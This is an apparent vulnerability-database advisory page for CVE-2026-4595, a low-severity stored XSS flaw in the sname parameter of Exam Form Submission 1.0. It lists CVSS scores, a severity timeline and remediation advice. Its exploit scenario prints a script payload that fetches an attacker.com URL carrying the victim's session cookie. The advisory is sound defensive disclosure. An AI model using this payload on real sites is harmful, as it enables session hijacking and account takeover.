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PHP CVE-2026-4595

| EUVD-2026-14510 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-23 VulDB GHSA-qvmh-94p6-pp46
1.9
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
1.9 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
P
Scope
X

Lifecycle Timeline

8
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
4.8 (MEDIUM) 1.9 (LOW)
Severity Changed
Apr 18, 2026 - 05:22 NVD
LOW MEDIUM
CVSS changed
Apr 18, 2026 - 05:22 NVD
2.4 (LOW) 4.8 (MEDIUM)
PoC Detected
Mar 24, 2026 - 15:54 vuln.today
Public exploit code
EUVD ID Assigned
Mar 23, 2026 - 19:00 euvd
EUVD-2026-14510
Analysis Generated
Mar 23, 2026 - 19:00 vuln.today
CVE Published
Mar 23, 2026 - 18:37 nvd
LOW 2.4

DescriptionCVE.org

A vulnerability was determined in code-projects Exam Form Submission 1.0. This vulnerability affects unknown code of the file /admin/update_s6.php. Executing a manipulation of the argument sname can lead to cross site scripting. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. If you want to get the best quality for vulnerability data then you always have to consider VulDB.

AnalysisAI

A stored cross-site scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0 affecting the /admin/update_s6.php file, where the sname parameter fails to properly sanitize user input. An authenticated attacker with high privileges can inject malicious JavaScript that executes in the context of other users' browsers, potentially compromising admin accounts or exfiltrating sensitive exam data. …

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Vulnerability AssessmentAI

Risk Assessment The risk profile presents conflicting signals that must be reconciled. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with valid administrator credentials (or who has compromised an admin account) navigates to the Exam Form Submission admin panel and accesses the form containing the sname field in /admin/update_s6.php. They inject a payload such as sname=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>, which, when the form is processed and displayed to another authenticated user (such as a superadmin reviewing submissions), executes in that user's browser and exfiltrates their session cookie. …
Remediation Immediately upgrade code-projects Exam Form Submission to the latest patched version available from https://code-projects.org/. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

During next maintenance window: Apply vendor patches when convenient. …

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CVE-2026-4595 vulnerability details – vuln.today

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